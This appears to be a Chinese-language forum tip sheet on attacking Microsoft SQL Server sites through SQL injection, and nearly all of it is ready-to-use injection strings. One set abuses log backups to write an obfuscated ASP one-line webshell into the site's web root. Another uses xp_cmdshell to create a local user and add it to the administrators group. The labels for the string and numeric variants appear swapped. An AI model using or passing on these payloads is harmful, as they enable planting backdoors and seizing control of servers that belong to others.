手工實現差異備份的步驟
字符型：
1、恢復當前庫
;alter database 當前庫 set RECOVERY FULL--
2、建表cmd
;create table cmd (a image)--
3、備份當前庫到D:\cmd1
;backup log 當前庫 to disk = 'D:\cmd1' with init--
4、插入一句話代碼到創建的表cmd
;insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--
5、備份一句話代碼到站點根目錄
;backup log 當前庫 to disk = 'D:\www_web\oct.asp'--
6、完成
;drop table 創建的表--
數字型
1、恢復當前庫
';alter database 當前庫 set RECOVERY FULL--
2、創建表cmd
';create table cmd (a image)--
3、備份當前庫到D:\cmd1
';backup log 當前庫 to disk = 'D:\cmd1' with init--
4、插入一句話代碼到創建的表cmd
';insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--
5、備份一句話代碼到站點根目錄
';backup log 當前庫 to disk = 'D:\www_web\oct.asp'--
6、完成
';drop table 創建的表--
sa權限創建管理員用戶
1、判斷是否有注入;and 1=1 ;and 1=2
;and user_name()='dbo' 判斷當前系統的連接用戶是不是sa
2、添加系統的管理員
;exec master.dbo.xp_cmdshell 'net user wk wk90/add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators wk /add';--
逍遙復仇：有工具我是一定不會手工的，麻煩。
